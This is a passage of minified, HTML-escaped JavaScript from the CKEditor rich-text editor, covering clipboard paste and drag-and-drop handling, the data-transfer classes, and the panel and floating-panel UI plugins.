c=CKEDITOR.dtd.$block;-1&lt;b.indexOf(&quot;Apple-&quot;)&amp;&amp;(b=b.replace(/&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;\/span&gt;/gi,&quot; &quot;),&quot;html&quot;!=a.data.type&amp;&amp;(b=b.replace(/&lt;span class=&quot;Apple-tab-span&quot;[^&gt;]*&gt;([^&lt;]*)&lt;\/span&gt;/gi,function(a,b){return b.replace(/\t/g,&quot;\x26nbsp;\x26nbsp; \x26nbsp;&quot;)})),-1&lt;b.indexOf(&#039;\x3cbr class\x3d&quot;Apple-interchange-newline&quot;\x3e&#039;)&amp;&amp;(a.data.startsWithEOL=1,a.data.preSniffing=&quot;html&quot;,b=b.replace(/&lt;br class=&quot;Apple-interchange-newline&quot;&gt;/,&quot;&quot;)),b=b.replace(/(&lt;[^&gt;]+) class=&quot;Apple-[^&quot;]*&quot;/gi,&quot;$1&quot;));
if(b.match(/^&lt;[^&lt;]+cke_(editable|contents)/i)){var d,g,n=new CKEDITOR.dom.element(&quot;div&quot;);for(n.setHtml(b);1==n.getChildCount()&amp;&amp;(d=n.getFirst())&amp;&amp;d.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(d.hasClass(&quot;cke_editable&quot;)||d.hasClass(&quot;cke_contents&quot;));)n=g=d;g&amp;&amp;(b=g.getHtml().replace(/&lt;br&gt;$/i,&quot;&quot;))}CKEDITOR.env.ie?b=b.replace(/^&amp;nbsp;(?: |\r\n)?&lt;(\w+)/g,function(b,d){return d.toLowerCase()in c?(a.data.preSniffing=&quot;html&quot;,&quot;\x3c&quot;+d):b}):CKEDITOR.env.webkit?b=b.replace(/&lt;\/(\w+)&gt;&lt;div&gt;&lt;br&gt;&lt;\/div&gt;$/,function(b,d){return d in
c?(a.data.endsWithEOL=1,&quot;\x3c/&quot;+d+&quot;\x3e&quot;):b}):CKEDITOR.env.gecko&amp;&amp;(b=b.replace(/(\s)&lt;br&gt;$/,&quot;$1&quot;));a.data.dataValue=b},null,null,3);a.on(&quot;paste&quot;,function(b){b=b.data;var d=a._.nextPasteType||b.type,f=b.dataValue,g,m=a.config.clipboard_defaultContentType||&quot;html&quot;,n=b.dataTransfer.getTransferType(a)==CKEDITOR.DATA_TRANSFER_EXTERNAL,k=!0===a.config.forcePasteAsPlainText;g=&quot;html&quot;==d||&quot;html&quot;==b.preSniffing?&quot;html&quot;:z(f);delete a._.nextPasteType;&quot;htmlifiedtext&quot;==g&amp;&amp;(f=A(a.config,f));if(&quot;text&quot;==d&amp;&amp;&quot;html&quot;==g)f=
w(a,f,c.get(&quot;plain-text&quot;));else if(n&amp;&amp;a.pasteFilter&amp;&amp;!b.dontFilter||k)f=w(a,f,a.pasteFilter);b.startsWithEOL&amp;&amp;(f=&#039;\x3cbr data-cke-eol\x3d&quot;1&quot;\x3e&#039;+f);b.endsWithEOL&amp;&amp;(f+=&#039;\x3cbr data-cke-eol\x3d&quot;1&quot;\x3e&#039;);&quot;auto&quot;==d&amp;&amp;(d=&quot;html&quot;==g||&quot;html&quot;==m?&quot;html&quot;:&quot;text&quot;);b.type=d;b.dataValue=f;delete b.preSniffing;delete b.startsWithEOL;delete b.endsWithEOL},null,null,6);a.on(&quot;paste&quot;,function(b){b=b.data;b.dataValue&amp;&amp;(a.insertHtml(b.dataValue,b.type,b.range),setTimeout(function(){a.fire(&quot;afterPaste&quot;)},0))},null,null,
1E3);a.on(&quot;pasteDialog&quot;,function(b){setTimeout(function(){a.openDialog(&quot;paste&quot;,b.data)},0)})}});CKEDITOR.plugins.clipboard={isCustomCopyCutSupported:(!CKEDITOR.env.ie||16&lt;=CKEDITOR.env.version)&amp;&amp;!CKEDITOR.env.iOS,isCustomDataTypesSupported:!CKEDITOR.env.ie||16&lt;=CKEDITOR.env.version,isFileApiSupported:!CKEDITOR.env.ie||9&lt;CKEDITOR.env.version,mainPasteEvent:CKEDITOR.env.ie&amp;&amp;!CKEDITOR.env.edge?&quot;beforepaste&quot;:&quot;paste&quot;,addPasteButton:function(a,b,c){a.ui.addButton&amp;&amp;(a.ui.addButton(b,c),a._.pasteButtons||
(a._.pasteButtons=[]),a._.pasteButtons.push(b))},canClipboardApiBeTrusted:function(a,b){return a.getTransferType(b)!=CKEDITOR.DATA_TRANSFER_EXTERNAL||CKEDITOR.env.chrome&amp;&amp;!a.isEmpty()||CKEDITOR.env.gecko&amp;&amp;(a.getData(&quot;text/html&quot;)||a.getFilesCount())||CKEDITOR.env.safari&amp;&amp;603&lt;=CKEDITOR.env.version&amp;&amp;!CKEDITOR.env.iOS||CKEDITOR.env.edge&amp;&amp;16&lt;=CKEDITOR.env.version?!0:!1},getDropTarget:function(a){var b=a.editable();return CKEDITOR.env.ie&amp;&amp;9&gt;CKEDITOR.env.version||b.isInline()?b:a.document},fixSplitNodesAfterDrop:function(a,
b,c,d){function g(a,c,d){var g=a;g.type==CKEDITOR.NODE_TEXT&amp;&amp;(g=a.getParent());if(g.equals(c)&amp;&amp;d!=c.getChildCount())return a=b.startContainer.getChild(b.startOffset-1),c=b.startContainer.getChild(b.startOffset),a&amp;&amp;a.type==CKEDITOR.NODE_TEXT&amp;&amp;c&amp;&amp;c.type==CKEDITOR.NODE_TEXT&amp;&amp;(d=a.getLength(),a.setText(a.getText()+c.getText()),c.remove(),b.setStart(a,d),b.collapse(!0)),!0}var h=b.startContainer;&quot;number&quot;==typeof d&amp;&amp;&quot;number&quot;==typeof c&amp;&amp;h.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(g(a.startContainer,h,c)||g(a.endContainer,
h,d))},isDropRangeAffectedByDragRange:function(a,b){var c=b.startContainer,d=b.endOffset;return a.endContainer.equals(c)&amp;&amp;a.endOffset&lt;=d||a.startContainer.getParent().equals(c)&amp;&amp;a.startContainer.getIndex()&lt;d||a.endContainer.getParent().equals(c)&amp;&amp;a.endContainer.getIndex()&lt;d?!0:!1},internalDrop:function(a,b,c,d){var g=CKEDITOR.plugins.clipboard,h=d.editable(),e,f;d.fire(&quot;saveSnapshot&quot;);d.fire(&quot;lockSnapshot&quot;,{dontUpdate:1});CKEDITOR.env.ie&amp;&amp;10&gt;CKEDITOR.env.version&amp;&amp;this.fixSplitNodesAfterDrop(a,b,g.dragStartContainerChildCount,
g.dragEndContainerChildCount);(f=this.isDropRangeAffectedByDragRange(a,b))||(e=a.createBookmark(!1));g=b.clone().createBookmark(!1);f&amp;&amp;(e=a.createBookmark(!1));a=e.startNode;b=e.endNode;f=g.startNode;b&amp;&amp;a.getPosition(f)&amp;CKEDITOR.POSITION_PRECEDING&amp;&amp;b.getPosition(f)&amp;CKEDITOR.POSITION_FOLLOWING&amp;&amp;f.insertBefore(a);a=d.createRange();a.moveToBookmark(e);h.extractHtmlFromRange(a,1);b=d.createRange();b.moveToBookmark(g);r(d,{dataTransfer:c,method:&quot;drop&quot;,range:b},1);d.fire(&quot;unlockSnapshot&quot;)},getRangeAtDropPosition:function(a,
b){var c=a.data.$,d=c.clientX,g=c.clientY,h=b.getSelection(!0).getRanges()[0],e=b.createRange();if(a.data.testRange)return a.data.testRange;if(document.caretRangeFromPoint&amp;&amp;b.document.$.caretRangeFromPoint(d,g))c=b.document.$.caretRangeFromPoint(d,g),e.setStart(CKEDITOR.dom.node(c.startContainer),c.startOffset),e.collapse(!0);else if(c.rangeParent)e.setStart(CKEDITOR.dom.node(c.rangeParent),c.rangeOffset),e.collapse(!0);else{if(CKEDITOR.env.ie&amp;&amp;8&lt;CKEDITOR.env.version&amp;&amp;h&amp;&amp;b.editable().hasFocus)return h;
if(document.body.createTextRange){b.focus();c=b.document.getBody().$.createTextRange();try{for(var f=!1,l=0;20&gt;l&amp;&amp;!f;l++){if(!f)try{c.moveToPoint(d,g-l),f=!0}catch(m){}if(!f)try{c.moveToPoint(d,g+l),f=!0}catch(n){}}if(f){var k=&quot;cke-temp-&quot;+(new Date).getTime();c.pasteHTML(&#039;\x3cspan id\x3d&quot;&#039;+k+&#039;&quot;\x3e​\x3c/span\x3e&#039;);var t=b.document.getById(k);e.moveToPosition(t,CKEDITOR.POSITION_BEFORE_START);t.remove()}else{var q=b.document.$.elementFromPoint(d,g),p=new CKEDITOR.dom.element(q),r;if(p.equals(b.editable())||
&quot;html&quot;==p.getName())return h&amp;&amp;h.startContainer&amp;&amp;!h.startContainer.equals(b.editable())?h:null;r=p.getClientRect();d&lt;r.left?e.setStartAt(p,CKEDITOR.POSITION_AFTER_START):e.setStartAt(p,CKEDITOR.POSITION_BEFORE_END);e.collapse(!0)}}catch(u){return null}}else return null}return e},initDragDataTransfer:function(a,b){var c=a.data.$?a.data.$.dataTransfer:null,d=new this.dataTransfer(c,b);&quot;dragstart&quot;===a.name&amp;&amp;d.storeId();c?this.dragData&amp;&amp;d.id==this.dragData.id?d=this.dragData:this.dragData=d:this.dragData?
d=this.dragData:this.dragData=d;a.data.dataTransfer=d},resetDragDataTransfer:function(){this.dragData=null},initPasteDataTransfer:function(a,b){if(this.isCustomCopyCutSupported){if(a&amp;&amp;a.data&amp;&amp;a.data.$){var c=a.data.$.clipboardData,d=new this.dataTransfer(c,b);&quot;copy&quot;!==a.name&amp;&amp;&quot;cut&quot;!==a.name||d.storeId();this.copyCutData&amp;&amp;d.id==this.copyCutData.id?(d=this.copyCutData,d.$=c):this.copyCutData=d;return d}return new this.dataTransfer(null,b)}return new this.dataTransfer(CKEDITOR.env.edge&amp;&amp;a&amp;&amp;a.data.$&amp;&amp;
a.data.$.clipboardData||null,b)},preventDefaultDropOnElement:function(a){a&amp;&amp;a.on(&quot;dragover&quot;,D)}};m=CKEDITOR.plugins.clipboard.isCustomDataTypesSupported?&quot;cke/id&quot;:&quot;Text&quot;;CKEDITOR.plugins.clipboard.dataTransfer=function(a,b){a&amp;&amp;(this.$=a);this._={metaRegExp:/^&lt;meta.*?&gt;/i,bodyRegExp:/&lt;body(?:[\s\S]*?)&gt;([\s\S]*)&lt;\/body&gt;/i,fragmentRegExp:/\x3c!--(?:Start|End)Fragment--\x3e/g,data:{},files:[],nativeHtmlCache:&quot;&quot;,normalizeType:function(a){a=a.toLowerCase();return&quot;text&quot;==a||&quot;text/plain&quot;==a?&quot;Text&quot;:&quot;url&quot;==a?
&quot;URL&quot;:a}};this._.fallbackDataTransfer=new CKEDITOR.plugins.clipboard.fallbackDataTransfer(this);this.id=this.getData(m);this.id||(this.id=&quot;Text&quot;==m?&quot;&quot;:&quot;cke-&quot;+CKEDITOR.tools.getUniqueId());b&amp;&amp;(this.sourceEditor=b,this.setData(&quot;text/html&quot;,b.getSelectedHtml(1)),&quot;Text&quot;==m||this.getData(&quot;text/plain&quot;)||this.setData(&quot;text/plain&quot;,b.getSelection().getSelectedText()))};CKEDITOR.DATA_TRANSFER_INTERNAL=1;CKEDITOR.DATA_TRANSFER_CROSS_EDITORS=2;CKEDITOR.DATA_TRANSFER_EXTERNAL=3;CKEDITOR.plugins.clipboard.dataTransfer.prototype=
{getData:function(a,b){a=this._.normalizeType(a);var c=&quot;text/html&quot;==a&amp;&amp;b?this._.nativeHtmlCache:this._.data[a];if(void 0===c||null===c||&quot;&quot;===c){if(this._.fallbackDataTransfer.isRequired())c=this._.fallbackDataTransfer.getData(a,b);else try{c=this.$.getData(a)||&quot;&quot;}catch(d){c=&quot;&quot;}&quot;text/html&quot;!=a||b||(c=this._stripHtml(c))}&quot;Text&quot;==a&amp;&amp;CKEDITOR.env.gecko&amp;&amp;this.getFilesCount()&amp;&amp;&quot;file://&quot;==c.substring(0,7)&amp;&amp;(c=&quot;&quot;);if(&quot;string&quot;===typeof c)var g=c.indexOf(&quot;\x3c/html\x3e&quot;),c=-1!==g?c.substring(0,g+7):c;return c},
setData:function(a,b){a=this._.normalizeType(a);&quot;text/html&quot;==a?(this._.data[a]=this._stripHtml(b),this._.nativeHtmlCache=b):this._.data[a]=b;if(CKEDITOR.plugins.clipboard.isCustomDataTypesSupported||&quot;URL&quot;==a||&quot;Text&quot;==a)if(&quot;Text&quot;==m&amp;&amp;&quot;Text&quot;==a&amp;&amp;(this.id=b),this._.fallbackDataTransfer.isRequired())this._.fallbackDataTransfer.setData(a,b);else try{this.$.setData(a,b)}catch(c){}},storeId:function(){&quot;Text&quot;!==m&amp;&amp;this.setData(m,this.id)},getTransferType:function(a){return this.sourceEditor?this.sourceEditor==
a?CKEDITOR.DATA_TRANSFER_INTERNAL:CKEDITOR.DATA_TRANSFER_CROSS_EDITORS:CKEDITOR.DATA_TRANSFER_EXTERNAL},cacheData:function(){function a(a){a=b._.normalizeType(a);var c=b.getData(a);&quot;text/html&quot;==a&amp;&amp;(b._.nativeHtmlCache=b.getData(a,!0),c=b._stripHtml(c));c&amp;&amp;(b._.data[a]=c)}if(this.$){var b=this,c,d;if(CKEDITOR.plugins.clipboard.isCustomDataTypesSupported){if(this.$.types)for(c=0;c&lt;this.$.types.length;c++)a(this.$.types[c])}else a(&quot;Text&quot;),a(&quot;URL&quot;);d=this._getImageFromClipboard();if(this.$&amp;&amp;this.$.files||
d){this._.files=[];if(this.$.files&amp;&amp;this.$.files.length)for(c=0;c&lt;this.$.files.length;c++)this._.files.push(this.$.files[c]);0===this._.files.length&amp;&amp;d&amp;&amp;this._.files.push(d)}}},getFilesCount:function(){return this._.files.length?this._.files.length:this.$&amp;&amp;this.$.files&amp;&amp;this.$.files.length?this.$.files.length:this._getImageFromClipboard()?1:0},getFile:function(a){return this._.files.length?this._.files[a]:this.$&amp;&amp;this.$.files&amp;&amp;this.$.files.length?this.$.files[a]:0===a?this._getImageFromClipboard():
void 0},isEmpty:function(){var a={},b;if(this.getFilesCount())return!1;CKEDITOR.tools.array.forEach(CKEDITOR.tools.objectKeys(this._.data),function(b){a[b]=1});if(this.$)if(CKEDITOR.plugins.clipboard.isCustomDataTypesSupported){if(this.$.types)for(var c=0;c&lt;this.$.types.length;c++)a[this.$.types[c]]=1}else a.Text=1,a.URL=1;&quot;Text&quot;!=m&amp;&amp;(a[m]=0);for(b in a)if(a[b]&amp;&amp;&quot;&quot;!==this.getData(b))return!1;return!0},_getImageFromClipboard:function(){var a;if(this.$&amp;&amp;this.$.items&amp;&amp;this.$.items[0])try{if((a=this.$.items[0].getAsFile())&amp;&amp;
a.type)return a}catch(b){}},_stripHtml:function(a){if(a&amp;&amp;a.length){a=a.replace(this._.metaRegExp,&quot;&quot;);var b=this._.bodyRegExp.exec(a);b&amp;&amp;b.length&amp;&amp;(a=b[1],a=a.replace(this._.fragmentRegExp,&quot;&quot;))}return a}};CKEDITOR.plugins.clipboard.fallbackDataTransfer=function(a){this._dataTransfer=a;this._customDataFallbackType=&quot;text/html&quot;};CKEDITOR.plugins.clipboard.fallbackDataTransfer._isCustomMimeTypeSupported=null;CKEDITOR.plugins.clipboard.fallbackDataTransfer._customTypes=[];CKEDITOR.plugins.clipboard.fallbackDataTransfer.prototype=
{isRequired:function(){var a=CKEDITOR.plugins.clipboard.fallbackDataTransfer,b=this._dataTransfer.$;if(null===a._isCustomMimeTypeSupported)if(b){a._isCustomMimeTypeSupported=!1;if(CKEDITOR.env.edge&amp;&amp;17&lt;=CKEDITOR.env.version)return!0;try{b.setData(&quot;cke/mimetypetest&quot;,&quot;cke test value&quot;),a._isCustomMimeTypeSupported=&quot;cke test value&quot;===b.getData(&quot;cke/mimetypetest&quot;),b.clearData(&quot;cke/mimetypetest&quot;)}catch(c){}}else return!1;return!a._isCustomMimeTypeSupported},getData:function(a,b){var c=this._getData(this._customDataFallbackType,
!0);if(b)return c;var c=this._extractDataComment(c),d=null,d=a===this._customDataFallbackType?c.content:c.data&amp;&amp;c.data[a]?c.data[a]:this._getData(a,!0);return null!==d?d:&quot;&quot;},setData:function(a,b){var c=a===this._customDataFallbackType;c&amp;&amp;(b=this._applyDataComment(b,this._getFallbackTypeData()));var d=b,g=this._dataTransfer.$;try{g.setData(a,d),c&amp;&amp;(this._dataTransfer._.nativeHtmlCache=d)}catch(h){if(this._isUnsupportedMimeTypeError(h)){c=CKEDITOR.plugins.clipboard.fallbackDataTransfer;-1===CKEDITOR.tools.indexOf(c._customTypes,
a)&amp;&amp;c._customTypes.push(a);var c=this._getFallbackTypeContent(),e=this._getFallbackTypeData();e[a]=d;try{d=this._applyDataComment(c,e),g.setData(this._customDataFallbackType,d),this._dataTransfer._.nativeHtmlCache=d}catch(f){d=&quot;&quot;}}}return d},_getData:function(a,b){var c=this._dataTransfer._.data;if(!b&amp;&amp;c[a])return c[a];try{return this._dataTransfer.$.getData(a)}catch(d){return null}},_getFallbackTypeContent:function(){var a=this._dataTransfer._.data[this._customDataFallbackType];a||(a=this._extractDataComment(this._getData(this._customDataFallbackType,
!0)).content);return a},_getFallbackTypeData:function(){var a=CKEDITOR.plugins.clipboard.fallbackDataTransfer._customTypes,b=this._extractDataComment(this._getData(this._customDataFallbackType,!0)).data||{},c=this._dataTransfer._.data;CKEDITOR.tools.array.forEach(a,function(a){void 0!==c[a]?b[a]=c[a]:void 0!==b[a]&amp;&amp;(b[a]=b[a])},this);return b},_isUnsupportedMimeTypeError:function(a){return a.message&amp;&amp;-1!==a.message.search(/element not found/gi)},_extractDataComment:function(a){var b={data:null,content:a||
&quot;&quot;};if(a&amp;&amp;16&lt;a.length){var c;(c=/\x3c!--cke-data:(.*?)--\x3e/g.exec(a))&amp;&amp;c[1]&amp;&amp;(b.data=JSON.parse(decodeURIComponent(c[1])),b.content=a.replace(c[0],&quot;&quot;))}return b},_applyDataComment:function(a,b){var c=&quot;&quot;;b&amp;&amp;CKEDITOR.tools.objectKeys(b).length&amp;&amp;(c=&quot;\x3c!--cke-data:&quot;+encodeURIComponent(JSON.stringify(b))+&quot;--\x3e&quot;);return c+(a&amp;&amp;a.length?a:&quot;&quot;)}}})();CKEDITOR.config.clipboard_notificationDuration=1E4;(function(){CKEDITOR.plugins.add(&quot;panel&quot;,{beforeInit:function(a){a.ui.addHandler(CKEDITOR.UI_PANEL,CKEDITOR.ui.panel.handler)}});CKEDITOR.UI_PANEL=&quot;panel&quot;;CKEDITOR.ui.panel=function(a,b){b&amp;&amp;CKEDITOR.tools.extend(this,b);CKEDITOR.tools.extend(this,{className:&quot;&quot;,css:[]});this.id=CKEDITOR.tools.getNextId();this.document=a;this.isFramed=this.forceIFrame||this.css.length;this._={blocks:{}}};CKEDITOR.ui.panel.handler={create:function(a){return new CKEDITOR.ui.panel(a)}};var g=CKEDITOR.addTemplate(&quot;panel&quot;,
&#039;\x3cdiv lang\x3d&quot;{langCode}&quot; id\x3d&quot;{id}&quot; dir\x3d{dir} class\x3d&quot;cke cke_reset_all {editorId} cke_panel cke_panel {cls} cke_{dir}&quot; style\x3d&quot;z-index:{z-index}&quot; role\x3d&quot;presentation&quot;\x3e{frame}\x3c/div\x3e&#039;),h=CKEDITOR.addTemplate(&quot;panel-frame&quot;,&#039;\x3ciframe id\x3d&quot;{id}&quot; class\x3d&quot;cke_panel_frame&quot; role\x3d&quot;presentation&quot; frameborder\x3d&quot;0&quot; src\x3d&quot;{src}&quot;\x3e\x3c/iframe\x3e&#039;),k=CKEDITOR.addTemplate(&quot;panel-frame-inner&quot;,&#039;\x3c!DOCTYPE html\x3e\x3chtml class\x3d&quot;cke_panel_container {env}&quot; dir\x3d&quot;{dir}&quot; lang\x3d&quot;{langCode}&quot;\x3e\x3chead\x3e{css}\x3c/head\x3e\x3cbody class\x3d&quot;cke_{dir}&quot; style\x3d&quot;margin:0;padding:0&quot; onload\x3d&quot;{onload}&quot;\x3e\x3c/body\x3e\x3c/html\x3e&#039;);
CKEDITOR.ui.panel.prototype={render:function(a,b){var e={editorId:a.id,id:this.id,langCode:a.langCode,dir:a.lang.dir,cls:this.className,frame:&quot;&quot;,env:CKEDITOR.env.cssClass,&quot;z-index&quot;:a.config.baseFloatZIndex+1};this.getHolderElement=function(){var a=this._.holder;if(!a){if(this.isFramed){var a=this.document.getById(this.id+&quot;_frame&quot;),b=a.getParent(),a=a.getFrameDocument();CKEDITOR.env.iOS&amp;&amp;b.setStyles({overflow:&quot;scroll&quot;,&quot;-webkit-overflow-scrolling&quot;:&quot;touch&quot;});b=CKEDITOR.tools.addFunction(CKEDITOR.tools.bind(function(){this.isLoaded=
!0;if(this.onLoad)this.onLoad()},this));a.write(k.output(CKEDITOR.tools.extend({css:CKEDITOR.tools.buildStyleHtml(this.css),onload:&quot;window.parent.CKEDITOR.tools.callFunction(&quot;+b+&quot;);&quot;},e)));a.getWindow().$.CKEDITOR=CKEDITOR;a.on(&quot;keydown&quot;,function(a){var b=a.data.getKeystroke(),c=this.document.getById(this.id).getAttribute(&quot;dir&quot;);if(&quot;input&quot;!==a.data.getTarget().getName()||37!==b&amp;&amp;39!==b)this._.onKeyDown&amp;&amp;!1===this._.onKeyDown(b)?&quot;input&quot;===a.data.getTarget().getName()&amp;&amp;32===b||a.data.preventDefault():
(27==b||b==(&quot;rtl&quot;==c?39:37))&amp;&amp;this.onEscape&amp;&amp;!1===this.onEscape(b)&amp;&amp;a.data.preventDefault()},this);a=a.getBody();a.unselectable();CKEDITOR.env.air&amp;&amp;CKEDITOR.tools.callFunction(b)}else a=this.document.getById(this.id);this._.holder=a}return a};if(this.isFramed){var d=CKEDITOR.env.air?&quot;javascript:void(0)&quot;:CKEDITOR.env.ie&amp;&amp;!CKEDITOR.env.edge?&quot;javascript:void(function(){&quot;+encodeURIComponent(&quot;document.open();(&quot;+CKEDITOR.tools.fixDomain+&quot;)();document.close();&quot;)+&quot;}())&quot;:&quot;&quot;;e.frame=h.output({id:this.id+&quot;_frame&quot;,
src:d})}d=g.output(e);b&amp;&amp;b.push(d);return d},addBlock:function(a,b){b=this._.blocks[a]=b instanceof CKEDITOR.ui.panel.block?b:new CKEDITOR.ui.panel.block(this.getHolderElement(),b);this._.currentBlock||this.showBlock(a);return b},getBlock:function(a){return this._.blocks[a]},showBlock:function(a){a=this._.blocks[a];var b=this._.currentBlock,e=!this.forceIFrame||CKEDITOR.env.ie?this._.holder:this.document.getById(this.id+&quot;_frame&quot;);b&amp;&amp;b.hide();this._.currentBlock=a;CKEDITOR.fire(&quot;ariaWidget&quot;,e);a._.focusIndex=
-1;this._.onKeyDown=a.onKeyDown&amp;&amp;CKEDITOR.tools.bind(a.onKeyDown,a);a.show();return a},destroy:function(){this.element&amp;&amp;this.element.remove()}};CKEDITOR.ui.panel.block=CKEDITOR.tools.createClass({$:function(a,b){this.element=a.append(a.getDocument().createElement(&quot;div&quot;,{attributes:{tabindex:-1,&quot;class&quot;:&quot;cke_panel_block&quot;},styles:{display:&quot;none&quot;}}));b&amp;&amp;CKEDITOR.tools.extend(this,b);this.element.setAttributes({role:this.attributes.role||&quot;presentation&quot;,&quot;aria-label&quot;:this.attributes[&quot;aria-label&quot;],title:this.attributes.title||
this.attributes[&quot;aria-label&quot;]});this.keys={};this._.focusIndex=-1;this.element.disableContextMenu()},_:{markItem:function(a){-1!=a&amp;&amp;(a=this._.getItems().getItem(this._.focusIndex=a),CKEDITOR.env.webkit&amp;&amp;a.getDocument().getWindow().focus(),a.focus(),this.onMark&amp;&amp;this.onMark(a))},markFirstDisplayed:function(a){for(var b=function(a){return a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;&quot;none&quot;==a.getStyle(&quot;display&quot;)},e=this._.getItems(),d,c,f=e.count()-1;0&lt;=f;f--)if(d=e.getItem(f),d.getAscendant(b)||(c=d,this._.focusIndex=
f),&quot;true&quot;==d.getAttribute(&quot;aria-selected&quot;)){c=d;this._.focusIndex=f;break}c&amp;&amp;(a&amp;&amp;a(),CKEDITOR.env.webkit&amp;&amp;c.getDocument().getWindow().focus(),c.focus(),this.onMark&amp;&amp;this.onMark(c))},getItems:function(){return this.element.find(&quot;a,input&quot;)}},proto:{show:function(){this.element.setStyle(&quot;display&quot;,&quot;&quot;)},hide:function(){this.onHide&amp;&amp;!0===this.onHide.call(this)||this.element.setStyle(&quot;display&quot;,&quot;none&quot;)},onKeyDown:function(a,b){var e=this.keys[a];switch(e){case &quot;next&quot;:for(var d=this._.focusIndex,e=this._.getItems(),
c;c=e.getItem(++d);)if(c.getAttribute(&quot;_cke_focus&quot;)&amp;&amp;c.$.offsetWidth){this._.focusIndex=d;c.focus(!0);break}return c||b?!1:(this._.focusIndex=-1,this.onKeyDown(a,1));case &quot;prev&quot;:d=this._.focusIndex;for(e=this._.getItems();0&lt;d&amp;&amp;(c=e.getItem(--d));){if(c.getAttribute(&quot;_cke_focus&quot;)&amp;&amp;c.$.offsetWidth){this._.focusIndex=d;c.focus(!0);break}c=null}return c||b?!1:(this._.focusIndex=e.count(),this.onKeyDown(a,1));case &quot;click&quot;:case &quot;mouseup&quot;:return d=this._.focusIndex,(c=0&lt;=d&amp;&amp;this._.getItems().getItem(d))&amp;&amp;
(c.$[e]?c.$[e]():c.$[&quot;on&quot;+e]()),!1}return!0}}})})();CKEDITOR.plugins.add(&quot;floatpanel&quot;,{requires:&quot;panel&quot;});
(function(){function v(a,b,c,m,h){h=CKEDITOR.tools.genKey(b.getUniqueId(),c.getUniqueId(),a.lang.dir,a.uiColor||&quot;&quot;,m.css||&quot;&quot;,h||&quot;&quot;);var g=f[h];g||(g=f[h]=new CKEDITOR.ui.panel(b,m),g.element=c.append(CKEDITOR.dom.element.createFromHtml(g.render(a),b)),g.element.setStyles({display:&quot;none&quot;,position:&quot;absolute&quot;}));return g}var f={};CKEDITOR.ui.floatPanel=CKEDITOR.tools.createClass({$:function(a,b,c,m){function h(){e.hide()}c.forceIFrame=1;c.toolbarRelated&amp;&amp;a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE&amp;&amp;
(b=CKEDITOR.document.getById(&quot;cke_&quot;+a.name));var g=b.getDocument();m=v(a,g,b,c,m||0);var n=m.element,k=n.getFirst(),e=this;n.disableContextMenu();this.element=n;this._={editor:a,panel:m,parentElement:b,definition:c,document:g,iframe:k,children:[],dir:a.lang.dir,showBlockParams:null,markFirst:void 0!==c.markFirst?c.markFirst:!0};a.on(&quot;mode&quot;,h);a.on(&quot;resize&quot;,h);g.getWindow().on(&quot;resize&quot;,function(){this.reposition()},this)},proto:{addBlock:function(a,b){return this._.panel.addBlock(a,b)},addListBlock:function(a,
b){return this._.panel.addListBlock(a,b)},getBlock:function(a){return this._.panel.getBlock(a)},showBlock:function(a,b,c,m,h,g){var n=this._.panel,k=n.showBlock(a);this._.showBlockParams=[].slice.call(arguments);this.allowBlur(!1);var e=this._.editor.editable();this._.returnFocus=e.hasFocus?e:new CKEDITOR.dom.element(CKEDITOR.document.$.activeElement);this._.hideTimeout=0;var l=this.element,e=this._.iframe,e=CKEDITOR.env.ie&amp;&amp;!CKEDITOR.env.edge?e:new CKEDITOR.dom.window(e.$.contentWindow),f=l.getDocument(),
r=this._.parentElement.getPositionedAncestor(),t=b.getDocumentPosition(f),f=r?r.getDocumentPosition(f):{x:0,y:0},q=&quot;rtl&quot;==this._.dir,d=t.x+(m||0)-f.x,p=t.y+(h||0)-f.y;!q||1!=c&amp;&amp;4!=c?q||2!=c&amp;&amp;3!=c||(d+=b.$.offsetWidth-1):d+=b.$.offsetWidth;if(3==c||4==c)p+=b.$.offsetHeight-1;this._.panel._.offsetParentId=b.getId();l.setStyles({top:p+&quot;px&quot;,left:0,display:&quot;&quot;});l.setOpacity(0);l.getFirst().removeStyle(&quot;width&quot;);this._.editor.focusManager.add(e);this._.blurSet||(CKEDITOR.event.useCapture=!0,e.on(&quot;blur&quot;,
function(a){function u(){delete this._.returnFocus;this.hide()}this.allowBlur()&amp;&amp;a.data.getPhase()==CKEDITOR.EVENT_PHASE_AT_TARGET&amp;&amp;this.visible&amp;&amp;!this._.activeChild&amp;&amp;(CKEDITOR.env.iOS?this._.hideTimeout||(this._.hideTimeout=CKEDITOR.tools.setTimeout(u,0,this)):u.call(this))},this),e.on(&quot;focus&quot;,function(){this._.focused=!0;this.hideChild();this.allowBlur(!0)},this),CKEDITOR.env.iOS&amp;&amp;(e.on(&quot;touchstart&quot;,function(){clearTimeout(this._.hideTimeout)},this),e.on(&quot;touchend&quot;,function(){this._.hideTimeout=
0;this.focus()},this)),CKEDITOR.event.useCapture=!1,this._.blurSet=1);n.onEscape=CKEDITOR.tools.bind(function(a){if(this.onEscape&amp;&amp;!1===this.onEscape(a))return!1},this);CKEDITOR.tools.setTimeout(function(){var a=CKEDITOR.tools.bind(function(){var a=l;a.removeStyle(&quot;width&quot;);if(k.autoSize){var b=k.element.getDocument(),b=(CKEDITOR.env.webkit||CKEDITOR.env.edge?k.element:b.getBody()).$.scrollWidth;CKEDITOR.env.ie&amp;&amp;CKEDITOR.env.quirks&amp;&amp;0&lt;b&amp;&amp;(b+=(a.$.offsetWidth||0)-(a.$.clientWidth||0)+3);a.setStyle(&quot;width&quot;,
b+10+&quot;px&quot;);b=k.element.$.scrollHeight;CKEDITOR.env.ie&amp;&amp;CKEDITOR.env.quirks&amp;&amp;0&lt;b&amp;&amp;(b+=(a.$.offsetHeight||0)-(a.$.clientHeight||0)+3);a.setStyle(&quot;height&quot;,b+&quot;px&quot;);n._.currentBlock.element.setStyle(&quot;display&quot;,&quot;none&quot;).removeStyle(&quot;display&quot;)}else a.removeStyle(&quot;height&quot;);q&amp;&amp;(d-=l.$.offsetWidth);l.setStyle(&quot;left&quot;,d+&quot;px&quot;);var b=n.element.getWindow(),a=l.$.getBoundingClientRect(),b=b.getViewPaneSize(),c=a.width||a.right-a.left,e=a.height||a.bottom-a.top,m=q?a.right:b.width-a.left,h=q?b.width-a.right:a.left;
